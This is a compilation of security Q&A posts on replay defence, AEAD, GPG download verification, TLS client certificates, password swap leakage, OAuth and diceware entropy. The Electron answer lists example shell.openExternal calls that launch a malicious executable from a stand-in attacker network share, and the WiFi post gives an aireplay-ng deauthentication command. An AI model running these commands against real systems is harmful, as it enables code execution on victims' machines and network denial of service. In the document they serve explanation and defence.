Replay, drop and reorder: an attacker could record genuine messages, sent at one time by the sender, and replay them to duplicate the effect. He could also block some messages. And he could combine both, so that the receiver obtains the messages in the wrong order.

For confidentiality, the receiver must store and use a secret value which embodies its power to actually read the data. This secret may be a simple symmetric key (a mere bunch of bytes) that the sender also knows; symmetric encryption is then used. If you don't want the sender to know that key (e.g. you have several senders, and no sender should be able to read the messages from other senders to the same receiver), then asymmetric encryption is to be used.

For integrity and authenticity, there is no escaping it: the sender must also own a secret, that attackers do not know. Otherwise, if there is nothing secret in the sender, then the sender can be perfectly emulated by any attacker, and you won't be able to prevent impersonation (i.e. in your description, the part about "the receiver can verify that the data is authentic" is wrong: the receiver cannot obtain that guarantee if the sender does not have and use some secret). If you used the "shared secret" principle with symmetric encryption, then the same secret could be used as part of a MAC to ensure that altered or forged messages are detected as such. There are nifty symmetric encryption modes (e.g. GCM or EAX) which combine encryption and MAC properly, using the same key for both. If you follow the asymmetric road, then the sender will also need a public/private key pair, and use signatures. The receiver will need to know the sender's public key with some guarantee that it is using the right one.

The asymmetric setup, where both sender and receiver have their own key pair, is the same model as the one used for emails in S/MIME and OpenPGP. One may note that asymmetric encryption can be "heavy" for the really small hardware. A 33 MHz ARM processor can grope asymmetric cryptography (it can do RSA, but it will be happier with elliptic curves); an 8-bit microcontroller will have trouble (so, if you use Arduino boards, ARM is OK for asymmetric crypto, AVR is not, unless you are very patient).

The defence against replay attacks is the hard part. Since the communication is one-way, you cannot defend against dropped messages by the attacker; the sender cannot know if his messages got through. However, you may be able to detect skipped messages on the receiver side. More generally, what you need is a stateful receiver: the receiver must maintain some memory of past messages, in order to detect foul play. The simplest method is to have a sequence number:

The message contents contain a numerical value. The sender increments that value for each message.
The receiver remembers the sequence number of the last received message.

That way, the receiver can detect dropped messages (there are "gaps" in the received sequence numbers), out-of-order messages, and replays.

Radio communication is supposed to be strongly ordered: messages won't arrive out of order under normal or even abnormal (but non-malicious) conditions. This is not true of all transport mediums; e.g. over the Internet, packets can be reordered, duplicated and dropped, and receivers must deal with it. The generic method is to maintain a window of "acceptable sequence numbers" (e.g. all numbers from n to n+9, for a window of size 10), and the receiver applies timeout strategies to know whether it should still wait for the missing messages, or just consider them as lost. In the case of radio, a simple sequence number is sufficient.

If the receiver cannot store permanently the last received sequence numbers, then time stamps can be used, but this requires the receiver to have a reasonably accurate clock, and it cannot use an external time source (because it could be faked by the attacker, because of one-wayness again). With a time stamp:

Each request has both a sequence number and a time stamp.
The receiver remembers temporarily (e.g. in RAM) the last received sequence number.
When a message is received and the receiver still remembers the last received sequence number, then it uses it to detect replay.
Otherwise, the receiver uses its clock and compares it to the time stamp to detect replay.

The sequence number + time stamp reliably prevents replay attacks provided that the receiver's clock accuracy is better than the hardware reboot latency. Meaning that if the receiver is reset, then it forgets the last received sequence number; if the reset is done within 5 seconds and the receiver's clock is accurate only to within 15 seconds of the current time, then there is a 10-second window during which replay is feasible. Depending on the context, this may or may not be a problem.


What security features should be present in every web-based CMS? What are the most important security features that a web-based CMS should offer? What's vital? What would be nice to have? What features should the CMS not attempt to do?

Please note: I'm looking more for specific features that enhance security rather than just the basics like validating input, escaping input and output, XSS protection, SQL injection prevention, not showing errors, etc.

ACL-based security: define what each user can do. MagentoCommerce.com does this well if you want some inspiration.
Draft history / post revisions: so you can rollback if something goes wrong. See WordPress.org.
Rate limiting and velocity checking: i.e. limit how many comments/min. users can post. See... security.stackexchange.com :)
OpenID can arguably increase security, if you trust your OpenID providers can provide better security than you can.


SQL Server Asymmetric Encryption Keys I have used SQL Server database with data to be encrypted and I will use symmetric key for encryption and will encrypt it by asymmetric key now comes the question how to give user permission to encrypt and not to decrypt

I have found this article that propose creating two procedures and use them as security mechanism however my question here where is the public/private key thing of asymmetric encryption.

Are there any other solutions?

I wrote a series of stored procedures (specifically for MySQL vs. MSSQL) that might be of interest. You can view it at sqlSec.

Keep in mind that it is more a proof of concept using stored procedures to rotate symmetric encryption keys but does provide a transparent encryption/decryption procedure examples in the readme.


What is the purpose of AEAD? I think I need to correct some misunderstandings I have about AEAD.  What is associated data used for in authenticated encryption?

What the associated data is used for: Anything you want to use it for.

If you have some data that you want authenticated, but does not need to be confidential, then you use that as "associated data".  For instance, consider a packet encryption scheme.  You might want the packet payload to be authenticated and encrypted, but the packet header to be authenticated but not encrypted.  In that scenario, you could make the packet payload the "data", and make the packet header the "associated data".

AEAD provides a generic primitive, so you can choose which data needs both confidentiality and authentication, vs which data only needs authentication, based upon your needs in any particular situation.


How to verify the authenticity of a download? On the bitcoin.org website it says:

  verify your download using signatures

I have found some vague instructions on how to do this, but was wondering if anyone has written clear and concise step by step instructions?

I am using Linux/Ubuntu.

This is what I have tried so far:

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ ls -l
total 23124
-rw-rw-r-- 1 oshirowanen oshirowanen 23652105 Aug 31 08:57 bitcoin-0.13.0-x86_64-linux-gnu.tar.gz
-rw-rw-r-- 1 oshirowanen oshirowanen     2100 Aug 31 09:41 laanwj-releases.asc

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ gpg --with-fingerprint laanwj-releases.asc
pub  4096R/36C2E964 2015-06-24 Wladimir J. van der Laan (Bitcoin Core binary release signing key) <laanwj@gmail.com>
      Key fingerprint = 01EA 5486 DE18 A882 D4C2  6845 90C8 019E 36C2 E964

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ gpg --import laanwj-releases.asc
gpg: /home/oshirowanen/.gnupg/trustdb.gpg: trustdb created
gpg: key 36C2E964: public key "Wladimir J. van der Laan (Bitcoin Core binary release signing key) <laanwj@gmail.com>" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)
gpg: no ultimately trusted keys found

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ gpg --verify laanwj-releases.asc
gpg: verify signatures failed: unexpected data

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$

UPDATE 1:

Just tried:

  oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ gpg --verify laanwj-releases.asc bitcoin-0.13.0-x86_64-linux-gnu.tar.gz

  gpg: verify signatures failed: unexpected data

UPDATE 2:

  oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ gpg laanwj-releases.asc bitcoin-0.13.0-x86_64-linux-gnu.tar.gz

  usage: gpg [options] [filename]

UPDATE 3:

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ ls -l
total 23124
-rw-rw-r-- 1 oshirowanen oshirowanen 23652105 Aug 31 08:57 bitcoin-0.13.0-x86_64-linux-gnu.tar.gz
-rw-rw-r-- 1 oshirowanen oshirowanen     2100 Aug 31 09:41 laanwj-releases.asc
-rw-rw-r-- 1 oshirowanen oshirowanen     1957 Aug 31 08:50 SHA256SUMS.asc

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ gpg --import laanwj-releases.asc
gpg: key 36C2E964: "Wladimir J. van der Laan (Bitcoin Core binary release signing key) <laanwj@gmail.com>" not changed
gpg: Total number processed: 1
gpg:              unchanged: 1

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ gpg --verify SHA256SUMS.asc
gpg: Signature made Tue 23 Aug 2016 15:23:26 BST using RSA key ID 36C2E964
gpg: Good signature from "Wladimir J. van der Laan (Bitcoin Core binary release signing key) <laanwj@gmail.com>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 01EA 5486 DE18 A882 D4C2  6845 90C8 019E 36C2 E964

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ sha256sum bitcoin-0.13.0-x86_64-linux-gnu.tar.gz
bcc1e42d61f88621301bbb00512376287f9df4568255f8b98bc10547dced96c8  bitcoin-0.13.0-x86_64-linux-gnu.tar.gz

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$ grep bitcoin-0.13.0-x86_64-linux-gnu.tar.gz SHA256SUMS.asc
bcc1e42d61f88621301bbb00512376287f9df4568255f8b98bc10547dced96c8  bitcoin-0.13.0-x86_64-linux-gnu.tar.gz

oshirowanen@computer:~/Downloads/bitcoin 0.13.0$

Does this mean all is good?  The WARNING is worrying.

I just tried it myself, and the problem is you are trying to verify a public key, not a signed document.

As pointed out in the comments, verify the key with a keyserver and/or trusted source. In this case the key comes from the Bitcoin core's website itself.
First import the key:

gpg --inport laanwj-releases.asc
Then download the tarball with the SHA256SUMS.asc file.
Now you can verify the SHA256SUMS.asc with the previous imported key.

gpg --verify SHA256SUMS.asc
When verified successfully, calculate the sha256 over the tarball.

sha256sum bitcoin-0.13.0-x86_64-linux-gnu.tar.gz
It will output the hash, which you can match with the hash in SHA256SUMS.asc

grep bitcoin-0.13.0-x86_64-linux-gnu.tar.gz SHA256SUMS.asc

When they match, you're good.


Does client certificate do any encryption in https connection? In Https connection asymmetric encryption (with Server certificate) is used during handshake and to create symmetric keys.
Am I right that in this case client certificate does no encryption? The server just checks that it trusts that client certificate and that's all?

The operation performed is similar to server authentication with the following differences.

After sending the message ServerKeyExchange, the server indicates to the client that it wishes to authenticate the client via a CertificateRequest message; the client then sends its certificate. The TLS handshake operation is performed normally but after sending the ClientKeyExchange message, the client sends a CertificateVerify message that contains a signature of the previous handshake messages. Server and client then compute a value from the random numbers exchanged and the PreMasterSecret and the client then sends a ChangeCipherSpec and the operation continues as without client authentication.

As you can see the server checks if the client has possession if the private key; not just that it trusts the client cert.


Is there any way to encrypt form data header values which can be seen in network resources? I'm able to see my credentials here in this picture which is fb's form data

I don't know if that is supposed to be like that or a problem of browser

But for my website, I don't want this in ruby on rails or java.

What you are seeing is your brower's view of the data. Of course it needs to see this data because it needs to process it. Encrypting it so that the browser cannot see it does not make sense.

When it gets transmitted, it goes over a TLS connection which encrypts everything, so no one can see the contents.

For your project, you can do the same thing. If you are concerned, you might be able to obfuscate the data, like encoding it, but ultimately, if someone has access to the user's browser, then they can see everything anyway.


Do password managers leak information with swap memory? The post How to find passwords in memory (password managers) concluded, that passwords are visible in plaintext if you login to a website. Password managers tend to store the passwords encrypted in memory, but they need to decrypt them in order to sign in.

A memory dump requires, that the targeted machine is running and the victim logs in to an account. The password could be exposed in plaintext and a memory dump could be created (with a cold boot attack or somehow else).

But what about swap? It is usually used, if the RAM runs out of capacity and the memory gets outsourced to disc. The outsourced capacities could contain an unencrypted password, that will be stored "persistently" on disk until it will be overwritten. With a bit of luck, an attacker could analyze the swap of a computer later without the requirement, that the target uses the computer.

So, is a swap vulnerable to this kind of attack?

After reading the answers I did a bit of further research and found a similar post on Askubuntu which suggests to encrypt the swap partition. This should avoid the problems around leaked information in swap memory.

As I've already pointed out in my previous comment, this attack has been foreseen and already countered (by most cryptography using applications).

The way you do this is, you (the developer) tell the operating system (OS) not to swap out this particular section of the memory. The OS will usually honor that and "make a note" somewhere in the memory manager not to swap this out. However even this marked area may get swapped out (if too much data is declared "unswappable" or a kernel-mode program needs "too much" memory) so it's better than doing nothing (and letting it be unswappable) but still not perfect and tells you not to flag everything unswappable.

As you're concerned about swapping out secret data to disk you may also be concerned about the hibernation state many OSs offer, where you actually write the full current RAM to disk so you can boot up faster at a later point and can resume your work. This attack scenario is less commonly considered but should be countered by careful treatment (-> erase all cleartext keys / passwords on hibernation / shutdown) and appropriate data encryption.

As asked in the comments to the other question I'll also quickly provide (some) overview of where to check if the used (open-source) program is vulnerable.

Windows: You need to inspect the memory (password managing) portion of the code and specifically look for VirtualLock() and VirtualUnlock

Unix-like systems: Inspect the same portion of the code as for Windows but now look out for mlock() and munlock(). Also look for mlockall() at any time in the code as this globally locks the memory into RAM.


Does providing OAuth for mobile apps pose a security threat? Let's take a look at the basic OAuth workflow:

The basic idea is that the Consumer (App) asks the user to grant him access to the Service Provider. The service protects the user by asking him each time the app wants a new access key.

The real problem here is that the service doesn't know much about the consumer.
In the case when a mobile app is a consumer, it doesn't even know its URL.

So when the grant access page appears, the service doesn't know who really wants access. So the user gets confused.

What is the solution to this problem?

In the case of a web app, preshared private keys could be used. But it isn't an option for a mobile app (since it is impossible to hide the private key).

Is it really a security threat? I suppose, the user should know from the context which app has requested access. But why then so many websites require a "secret" key? (which isn't really a secret when a mobile app is involved)

Edit

Probably, I wasn't clear enough. Let's try again.
Here's an explaining picture:

As you can see, it's the user who should make sure the proper app gets access.

But the message "I don't know who tries to access the service", while being precise, is very confusing.

Is there a technique to identify the app reliably?

So I think that the problem you're describing is, to an extent, solved by adding Client IDs to the authentication request.  The application provides an ID to the service provider, and the provider then bounds the token provided to only be valid for that application.

However that doesn't solve the problem of a malicious application which could provide a deliberately forged client ID (if those are used).

The thing is though, in mobile, the application is already trusted, once the user has installed the application he has chosen to trust it. I don't think there's much the service provider can do to protect users from malicious applications, once the user has chosen to install them.

I was watching a video from Eran Hammer (warning NSFW language), where he mentions that where service providers were forcing mobile clients to do web views for user sign-in (to prevent the mobile app from directly accessing the users credentials) and that the mobile app was then overlaying this and grabbing the users credentials, so that they didn't have to bother the user for them in future.

Ultimately I don't think that it's possible to completely protect users from an application once they've decided to trust it by installing it.


Why do some root and intermediate certificate authorities have "G2" or "G3" in the name? I have noticed that some root and intermediate CAs have things like "G2" or "G3" in the name.

For example, take the certificate for amazon.com. The intermediate CA is DigiCert Global CA G2, and the root CA is DigiCert Global Root G2.

I understand that "G2" means "Generation 2." But what is the purpose of having a second-generation CA? What changed between the first and second generations?

Quoted from Tombart's answer on Crypto SE:

  Yes, G stands for "Generation". When CA needs to get a new chain they
  just increment the generation number.

  For example GoDaddy's signatures:

  G3 - sha256WithRSAEncryption
  G4 - ecdsa-with-SHA384


Is encryption application credentials using certificate encryption good practice? I'm working on a small web application. The web application needs access to a database, so the application needs access to a database username and password.

The application runs in an environment where virtual machines comes and goes and there are no persistent disks. The only environment configuration we can set up which remains over time are certificates, all other configuration must be stored as a part of the application (which we upload to the hosting service in a zip). Certificates which we upload to the hosting providers are automatically installed into the Windows certificate store by the hosting provider.

The database server we are using do not support authentication using certificates - only user name and passwords, so I'm wondering if the following scheme would make sense:

We create a self-signed X509 certificate using openssl or makecert.
We upload the certificate (with private key) to the hosting provider (we do this once, or when we want to renew the certificate).
We encrypt the database passwords in the application configuration using the public key-part of our certificate (using RSACryptoServiceProvider).
We upload the encrypted password in a configuration file as part of our application package zip to the provider
In our application code, before connecting to the database server, we decrypt the database password using the certificate (again, using RSACryptoServiceProvider)

With this, we get the following:

Anyone (me or my friends) working with the application can set a new database password, encrypt it and update the application configuration, without access to the private key in the certificate.
Only people with the private key (which is installed on the servers and stored locally by me) can decrypt the database password.

It seems like this would be a pretty good solution, but I would appreciate if someone else could spot a flaw.

On the surface this sounds like a fine idea - if you're trying to provide a buffer against:

Version control (git / svn hosting) compromise
Theft of a physical machine containing the codebase / credentials
Malware on one of your developers machines leaking the credentials in some way.
Any other way in which the files containing credentials are stolen by an attacker

Just remember that this wont protect your database if your web app itself is compromised, as it will still have the unencrypted credentials in memory at some point. If you're just trying to protect the credentials from being stolen from somewhere other than the live machine this should work just fine, though.

Also, in my opinion the environment that you're describing sounds quite non standard, which worries me a little. You're relying on whatever service the hosting provider is exposing to access the private keys in a big way.


SSL/TLS certifcate secure on Chrome but not on Firefox My organization have emitted TLS certificate for Https. It appears as secure when I access the page with Chrome but non secure with FireFox.

Is there a difference between these two browsers about how they validate TLS certificate? Why FireFox is not validating this certificate?

This print screen is from Firefox

Yes, there is a difference. On Windows, Google Chrome uses a built-in Windows Certificate Store when identifying the trust. Mozilla uses its own trust certificate store. Apparently, your internal CA is installed on Windows, but not in Firefox browser. You have to install your private root CA certificate into Firefox browser.


Finding out if the name is encrypted and finding the encryption algorithm I'm new to security field. I have a website. Whenever I upload a photo to the website that, for example, its name is 123 with the format of .jpg, its name seems to turn to string like this f408KFcUb+k=. The address for reaching this image will be something like this:

  example.com?imgID=f408KFcUb%2bk%3d

If I upload the same photo again, its name will turn to another string on the website.

It seems that the name is being encrypted or encoded, Am I right? If so, is there any way to find out what encryption algorithm is being used for encrypting the names of the files?

Yes, there are several potential ways to find out, what algorithm was used. But lets analyze what is actually happening first.

Unrestricted file uploads are dangerous. Therefore, several different measures are suggested to protect against the different threats, including the following (quoted from the linked OWASP page):

  It is recommended to use an algorithm to determine the filenames. For
  instance, a filename can be a MD5 hash of the name of file plus the
  date of the day.

This is very likely what is happening here, except that it isn't simply an MD5 hash. There are different ways to find out, which algorithms is used:

Consult the manual. If you can find out, which software runs this part of the website, chances are, that they actually describe this mechanism in the docs. Easy as that.
Check the source code. I'm still assuming you know which software runs this part of the website. Further I'm assuming it is an open source project. In this case you can download the source code and check directly, which functionality is used.
Reversing the algorithm. In case the website is a black box for you, you can try to analyze the algorithm per hand. I did some quick manual checks and it looks like a base64 encoded value with a length of 64 bits (0111111110001101001111000010100001010111000101000110111111101001). This could be the result of a hash function but also something highly proprietary. As a next step you can try to compare the values of different uploads to see if the whole sequence changes or just part of it. Without further insights it will most likely be pretty hard to reverse the algorithm, but at least it is an option.

Please note that it can be something totally different like a random unique ID that points to a blob in a database, where the file is stored. With so little information, this is all guesswork.


Security of passwords remembered by Windows Does Windows XP or Windows 7 encrypt saved passwords?

I'm assuming that the user uses local password to logon.

The user then uses his own computer to connect to server in work and sets the "remember password" box in the password dialog. The other password I'm interested in is the password to WiFi network, is it stored encrypted using user's local password or are they just obfuscated?

Are there any other passwords to network services Windows can remember? Are they encrypted?

EDIT:

I know that Windows XP, when the password has less than 14 characters, stores LM hashes, which can be broken in about 7 seconds.

And of course, if the passwords aren't encrypted with the local user password, access to them will be easy if one has physical access to the computer or administrative account.

EDIT2:
Windows uses PBKDF2 with Data Protection API http://msdn.microsoft.com/en-us/library/ms995355 The question remains: Is it used for saving network credentials?

On the wireless password side of things, for WEP/WPA keys, this is retrievable from an unencrypted (eg, no FDE) windows laptop. Utilities like Wireless Key View, can be used if the machine can be booted by the attacker.

On the windows side of things my understanding is that passwords are stored in a quite heavily encrypted format, but that it's possible to dump the hashes.  For domain passwords, a laptop has to store it locally somewhere to allow for users to log-in when the machine is not connected to the domain.

Also it's not actually always necessary to crack the password to make use of it.  In some cases it's possible to use the password hash to attack other systems (eg using Metasploit and psexec)

Ultimately I'd strongly recommend full disk encryption (eg, truecrypt) for any laptops that store senstive information


How is ECIES available in FIPS Validated libraries? ECIES is Elliptic Curve Integrated Encryption Scheme. Both Certicom's SecurityBuilder and RSA Data Security BSAFE provide ECIES. Both are FIPS 140 validated, and both clearly list ECIES in their data sheets.

ECIES effectively creates a stream cipher and XOR's the keystream with plaintext. That's grossly simplified, but I think it captures the essence of the Data Encapsulation Mechanism (DEM). More to the point: ECIES does not use an approved block cipher (like AES or 3-key TripleDES).

However, NIST only allows block ciphers and streaming modes of operation, like OFB and CTR; and does not offer stream ciphers.

How is ECIES available in validated libraries like SecurityBuilder and BSAFE? Or (from an offline discussion), how can ECIES be FIPS 140 validated?

It is possible for a module to be FIPS 140 Validated and include non-validated features like ECIES. You can see multiple instances of this in various validation documents:

Blackberry
Validated FIPS 140-1 and FIPS 140-2 Cryptographic Modules (2013) (includes BSAFE)

The trick is that to use those modules in a FIPS-compliant way, you need to only use the validated algorithms. For instance, in the BlackBerry document:

  ... ECIES ... encryption algorithm are supported as non FIPS Approved
  algorithms. In order to operate the module in compliance with FIPS,
  these algorithms should not be used.

This is backed up by the NIST Guidance :

  NOTE2: The operator of a cryptographic module is responsible for
  ensuring that the algorithms and key lengths are in compliance with
  the requirements of NIST SP 800-131A.

So, although a module can be FIPS 140-2 validated, the onus is on the operator to ensure that how it is used is in compliance with the current standard. With that understanding, the maker of a module can include non-FIPS-validated algorithms for other purposes.


Dangers of Electron's "shell.openExternal" on untrusted content I'm curious about the actual dangers of executing shell.openExternal on untrusted content. Documentation specifically states that this can be leveraged for RCE:

  Improper use of openExternal can be leveraged to compromise the user's host. When openExternal is used with untrusted content, it can be leveraged to execute arbitrary commands.

All reports I can find of this online claim they have RCE by popping open the Calculator application or opening /etc/passwd in a text editor. But none of these are actually remote code execution. Yes, RCE vulnerabilities are often PoC'ed by popping open the calculator app, but popping open the calculator app does not mean you have an RCE: these are merely the execution of local code that is already there on the victim's filesystem, or opening files already on the victim's filesystem in their default application. I don't see how you could use this ability to compromise a user's host, and I have yet to find an example of an actual RCE exploit or vulnerability caused by executing shell.openExternal on untrusted content.

From documentation and experimentation, it seems that shell.openExternal works by essentially opening a url, file, or binary in the application that your system would normally use to run it. You can't pass arguments, so invoking a shell is not particularly useful. As best as I can tell, exploiting this for an actual RCE would require first dropping the malicious binary on the target's filesystem at a predictable location. Note that uploading a malicious binary to the Internet and pointing to it via a URL does not work -- it just results in a browser opening and offering the file for download.

So lets say I'm running an electron app which calls shell.openExternal(value); where you control value. How would you execute your arbitrary code / commands on my machine?

I think your confusion stems from your interpretation of the term "remote code execution" (RCE). This term is used to describe (perhaps colloquially) many different classes of critical software vulnerabilities that allow an attacker to execute arbitrary code or commands on a vulnerable system. The particular vulnerability may be a result of a memory corruption bug, a logic error, poor software development practices, or a combination of the above.

Vulnerabilities like the one described in your question allow for "arbitrary command execution". These are also referred to as "command injection" vulnerabilities in web application security, and perhaps elsewhere. In this case, your assertion is correct that it is not literally "remote" code that is being executed, but an attacker can still run potentially arbitrary commands on the system. While not as flashy as a memory corruption bug, where the attacker may hijack the program's instruction flow and possibly execute their own shellcode, it is still critical, as the attacker is not restricted, other than by nature of the openExternal function.

Here are some examples of what an attacker could do with this vulnerability:

# Sure, harmless enough
shell.openExternal('file:///Applications/Calculator.app')
# What if you provide a file URI to a network share that contains a malicious app?
shell.openExternal('file://net/203.0.113.0/nfs/evil/malicious.app')
# Or SMB share?
shell.openExternal('\\203.0.113.0\evil\malicious.exe')
# Maybe in some cases it is bad enough to just run a program with no arguments? (Rough example)
shell.openExternal('file:///bin/telnetd')
# Or maybe it could be combined with some kind of file upload to use an attacker's uploaded file.

Additionally, some apps may register custom URI protocol handlers such as x-custom-app:// that may allow an attacker to open an app and supply it with whatever commands/data it supports.

I suggest you search online for bug bounty writeups that used openExternal. Here are some things I found:

https://pwning.re/2018/12/04/github-desktop-rce/
https://hackerone.com/reports/276031
https://dev.to/nlowe/rce-in-mattermost-desktop-earlier-than-420-5aef


How to avoid DOS attacks on Wifi? I learned from ethical hacking tutorial and tested following command about DOS on Wifi.

aireplay-ng -0 0 -a [Wifi-MAC here]

It works fine,
but my question is how can we avoid such attacks?

As schroeder eludes to in the original comment, the only real protection for most of us is to use wired solutions. There are a few options that are expensive or system intensive, and therefore are beyond the means of many users.

Let's dissect why 'the wired solution' is the answer in most cases.

The physics of radio emissions means that the only way to protect from the data being received in whatever format (encrypted or plaintext) is to physically block transmission. Read these for some background on how that problem has been addressed in some areas:

Faraday Cage

TEMPEST specification

Now, consider what the de-authentication attack you describe is doing...

The -0 means "send a de-authentication frame", and the following 0 means "send this type of frame continuously".
The -a [MAC] means "send these frames so they appear to come from the Access Point identified as [MAC]"
The lack of a -c [MAC] parameter means aireplay-ng will send the de-authentication frame to every station connected to the access point. If you had specified a single MAC, you would just be DOSing that station off of the wifi network.

That's fine and grand, and works as expected ... as you have seen. It basically sends a command to each connected station saying "disconnect now" and they obey, because the protocol is written that way.

This problem comes from, if I understand the details correctly, the inability of a station to validate the de-authentication frame. This is because the original standards did not require a mechanism for this. Any radio capable of broadcasting in the right frequency can send the data, and the original protocol did not require the stations to validate the source of the signal...it may not have even existed in the protocol, I am not certain.

As defalt mentions, some higher end SOHO and enterprise grade wifi solutions have Wireless-IPS capabilities. These are built upon systems that analyze traffic patterns and signatures, and make decisions about which signals to act upon.

More recent standards have improved on these issues; I am unaware of how widespread the adoption of the updated standards/protocols has gone, but from recent testing I can tell you a lot of my equipment is still vulnerable to this.


Should I give developers admin rights or leave as power users? In my organization we are in the process of upgrading everyone to Windows 7.We have all of our users configured as power users. The issue we are running into is this:

Should we give developers local admin rights or only modify the files that need to be executed to run the application.

I don't want to give them full admin rights as I understand what could happen. So I would rather give them limited access so they at least can get their work done. All of the applications are installed by us and they will configure them. I was looking for any suggestions as to what I should do.
Listed below are the applications they run:

My Eclipse Blue
Websphere 6.1,7.0
Visual Studio 2010
PVCS version manager

I am a developer doing database and web applications with no administrative rights.  I thought a great injustice was being done when the policy was first implemented however I have come around to the idea because I can appreciate the security considerations.

chances of infecting your machine with some web exploit while you are surfing for an answer:  much reduced
chances that the cool add on you thought would help out crashes your machine: much reduced
it does bring clarity to your development process.  If you really need "it", then you ask for it and you have to document why you want it.
it helps ensure that everyone is working on the same install.  A certainty that sysadmins enjoy if you have to work up a new image for a developer.


Confused about whether or not I'm infected I want to upgrade to Windows 10 (I have 7) and then probably do a clean install as well. I'm not sure because I'm really confused now. I don't know what to believe anymore. It's very important to know if I'm infected because I decided to do the clean install to get rid of whatever malware I caught and now I'm asking myself how to backup some files on my USB without infecting the new Windows afterwards.

So,I suspected I have a virus but I'm kind of a maniac so I posted my problem on a forum but not at any virus/malware section.
I was asked to post some logs about my system and HDD; everything was fine with the HDD but I think they found something suspicious on my system logs because they said to move on another section for infected computers.
Nobody particularly said that I have malware,but they told me to go ask there.
I worked with anti-malware programs before and I know what to run so I didn't ask anymore. Instead, I did my own research.

Now,about my problems,there is nothing really bothering. It was just a BSoD (9f code) during hibernation/sleep (I am not sure because I let the laptop plugged and didn't pay attention to it for more than 1 hour),but it happened only once 1 week ago. Also,it got stuck during logging off and shutting down; I had to hold the power button to shut it. This happened twice. Only once I thought it was stuck but it did shut down by itself eventually. I also noticed my laptop is slow at startup (but not much more slower than usual). I have Skype that automatically opens so I kind of suspected that might be the problem. I got an error once saying Windows has stopped working because I always insist on running some tasks when it just opened and it's not ready to use. Now I wait patiently until it's ready.

These things don't bother me. I do my work without problem. Aside from startup my laptop is as fast as usual and it doesn't freeze.
These problems could also come because I have lots of updates I try to install but I can't. Windows 10 automatically installs before the updates and I did everything to make it stop but it just continues. I'll get rid of this anyway when I upgrade.
I also updated Avast. I don't usually scan regularly with it but it didn't bother me with pop-up messages about viruses and trojan.
I scanned with Malwarebytes anti-malware yesterday. Nothing was found. I tried Malwarebytes anti-rootkit and Kaspersky TDSSkiller. The last one didn't find anything. Malwarebytes anti-rootkit did something strange and I also emailed them to make sure the program might have bugs. I extracted it and then a message appeared (before scanning!) saying "probable rootkit activity". I scanned with it and it found nothing. I closed and reopened it. I had to extract it again and the message popped up again.

I don't know what to try anymore and I can't decide if I have or not a malware problem. I tend to think I don't have any malware issue because I really hate malware and viruses and as a result I am very careful on websites and I have anti-anything bad programs. But I also know from my experience that nasty viruses don't show their faces immediately.

The BSOD and poweroff problem look more like hardware/driver issues than anything else, especially the latter.

  Malwarebytes anti-rootkit did something strange and I also emailed them to make sure the program might have bugs.

Your download may just be damaged due to a network error or similar, that's why you should check hashes to make sure your download isn't corrupt.

Now, we could ramble all day about whether it's compromised or not, so let's take the safe approach and assume it is, so a reinstall is mandatory.

First, do not create the reinstall media from the same (potentially compromised) machine, so you should download the ISO and burn it/create an USB stick from a separate, known clean machine.

To transfer your files, in theory any and all files could be modified by the potential malware to compromise other machines but I'd say the risk is pretty low for files that don't contain any executable code, so everything like photos, music and text documents should be safe. Only executable files and documents that contain executable code (Microsoft Office documents for example, as they can contain malicious macros, or PDFs) should be avoided.

To transfer the files the safest way would be to boot from a known good Linux live CD or USB and copy the files from there on a known good USB stick. That ensures that any running rootkit won't be able to tamper with the files or the USB stick as the files are copied, so this lowers the risk as now only files that were already compromised can be malicious. This also prevents the rootkit from turning your USB drive evil that will pretend to be a keyboard and enter malicious commands the next time you connect it to your newly reinstalled machine.

It seems that now it is possible to use some Windows 7, 8 and 8.1 product keys to activate Windows 10. You can download clean Windows 10 ISOs from Microsoft directly but make sure your User Agent doesn't mention Windows - otherwise it forces you to use their stupid Media Creation tool which is a piece of useless garbage. If you'd rather get Windows 7 you can get torrents from an unofficial source, just make sure the hashes match those found on MSDN to verify you're not downloading a compromised copy.


How should I make diceware passphrases more memorable? I find that truly random diceware passphrase, more often than not, either contain a word that is easily misspelled or has an order that is illogical. I think there are three ways to make a diceware passphrase more memorable:

Throw out passphrases until you get one you can remember
Throw out individual words that are difficult for you to remember
Rearrange words so that it is easier to remember

Of course, the issue is that all three options reduce the bits of entropy. Number 2 can be avoided by editing the diceware list manually but that is too much work for most people. I still believe that the resulting passphrase will better then many other options and useful for most purposes. However, I am interested what the resulting bits of entropy for each method of these methods.

The entropy of a truly random 4 word passphrase is log2(7776*7776*7776*7776) = 51.7 bits. The worst case for option 3 is that there is only one logically way to rearrange the words. In this case, I believe that the bits of entropy is log2( (7776*7776*7776*7776) / (4*3*2*1) ) = 47.1. I am not sure what formula to use for 1 & 2. For example, if I throw out a word three times what are the bits of entropy. I think 1 is much more ambiguous. On paper, it should not reduce entropy but clearly it does.

Throw out passphrases until you get one you can remember -

If you look at 16 passphrases, and keep the one you like best, then you've reduced your entropy by at most 4 bits (log2 16 = 4).  The intuition is similar to what you gave for rearranging: the worst case is that there is logically only 1 of those 16 passphrases that someone is likely to choose.

In general, if you look at N passphrases and keep the one you like best, then you've reduced your entropy by at most log2 N bits.  If you throw out N-1 passphrases and keep the Nth, then this is basically the same situation, so you can estimate that you've probably reduced your entropy by at worst log2 N bits.
Throw out individual words that are difficult for you to remember -

Let me suggest two different methods to calculate how much entropy you've lost:

You could think of this as taking your 7776-word dictionary and throwing out a bunch of words that are too difficult for you to remember.  If you throw out 1000 words, you've reduced from a 7776-word dictionary to a 6776-word dictionary, so you've reduced the entropy per word from about 12.9 bits to 12.7 bits, or the total entropy of your passphrase from about 51.7 bits to about 50.9 bits.  Not much of a reduction.

